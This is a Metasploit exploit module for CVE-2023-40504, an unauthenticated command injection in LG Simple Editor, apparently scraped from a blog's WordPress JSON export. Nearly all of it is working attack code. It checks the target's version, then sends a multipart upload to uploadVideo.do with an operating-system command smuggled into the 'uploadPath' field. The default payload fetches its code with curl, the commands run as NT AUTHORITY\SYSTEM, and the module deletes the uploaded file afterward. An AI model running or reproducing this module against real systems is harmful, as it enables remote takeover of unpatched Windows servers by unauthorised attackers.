class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck<\/p>\n
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘LG Simple Editor Command Injection (CVE-2023-40504)’,
‘Description’ => %q{
Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘rgod’, # Vulnerability discovery
‘Michael Heinzl’ # MSF module
],
‘References’ => [
[ ‘URL’, ‘https:\/\/www.zerodayinitiative.com\/advisories\/ZDI-23-1208\/’],
[ ‘CVE’, ‘2023-40504’]
],
‘DisclosureDate’ => ‘2023-08-04’,
‘Platform’ => ‘win’,
‘Arch’ => [ ARCH_CMD ],
‘Targets’ => [
[
‘Windows_Fetch’,
{
‘Arch’ => [ ARCH_CMD ],
‘Platform’ => ‘win’,
‘DefaultOptions’ => { ‘FETCH_COMMAND’ => ‘CURL’ },
‘Type’ => :win_fetch,
‘Payload’ => {
‘BadChars’ => ‘\\\\’
}
}
]
],
‘DefaultTarget’ => 0,<\/p>\n
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS]
}
)
)<\/p>\n
register_options(
[
Opt::RPORT(8080),
OptString.new(‘TARGETURI’, [true, ‘The URI of the LG Simple Editor’, ‘\/’])
]
)
end<\/p>\n
# Determine if the Simple Editor instance runs a vulnerable version
# copied from lg_simple_editor_rce.rb
def check
res = send_request_cgi(
{
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri, ‘simpleeditor’, ‘common’, ‘commonReleaseNotes.do’)
}
)<\/p>\n
return Exploit::CheckCode::Unknown(“#{peer} – Could not connect to web service – no response”) if res.nil?<\/p>\n
version = Rex::Version.new(res.get_html_document.xpath(‘\/\/h2’)[0]&.text&.gsub(‘v’, ”))
return Exploit::CheckCode::Unknown if version.nil? || version == ‘Unknown’
return Exploit::CheckCode::Appears(“Version: #{version}”) if version <= Rex::Version.new(‘3.21.0’)<\/p>\n
Exploit::CheckCode::Safe
end<\/p>\n
def exploit
execute_command(payload.encoded)
end<\/p>\n
def execute_command(cmd)
print_status(‘Sending command injection…’)
exec_simplerce(cmd)
print_status(‘Exploit finished, check thy shell.’)
end<\/p>\n
# Send command injection
def exec_simplerce(cmd)
filename = Rex::Text.rand_text_alpha(1..6)
vprint_status(“Using random filename: #{filename}.mp4”)
form = Rex::MIME::Message.new
form.add_part(‘\/’, nil, nil, “form-data; name=\\”uploadVideo\\”; filename=\\”#{filename}.mp4\\””)
form.add_part(“\/\\”&#{cmd}&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del #{filename}.mp4&\/..\/”, nil, nil, ‘form-data; name=”uploadPath”‘)
form.add_part(‘1’, nil, nil, ‘form-data; name=”uploadFile_x”‘)
form.add_part(‘1’, nil, nil, ‘form-data; name=”uploadFile_width”‘)
form.add_part(‘1’, nil, nil, ‘form-data; name=”uploadFile_height”‘)<\/p>\n
res = send_request_cgi(
{
‘method’ => ‘POST’,
‘uri’ => normalize_uri(target_uri.path, ‘simpleeditor’, ‘imageManager’, ‘uploadVideo.do’),
‘ctype’ => “multipart\/form-data; boundary=#{form.bound}”,
‘data’ => form.to_s
}
)
if res && res.code == 200
print_good ‘Command injection sent.’
else
fail_with(Failure::UnexpectedReply, “#{peer}: Unexpected response received.”)
end
end<\/p>\n
end<\/p>\n","protected":false},"excerpt":{"rendered":"
class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,‘Name’ => ‘LG Simple Editor Command Injection (CVE-2023-40504)’,‘Description’ => %q{Unauthenticated Command Injection in LG Simple Editor <= v3.21.0.The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.},‘License’ => MSF_LICENSE,‘Author’ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58903","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58903","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58903"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58903\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58903"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58903"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58903"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}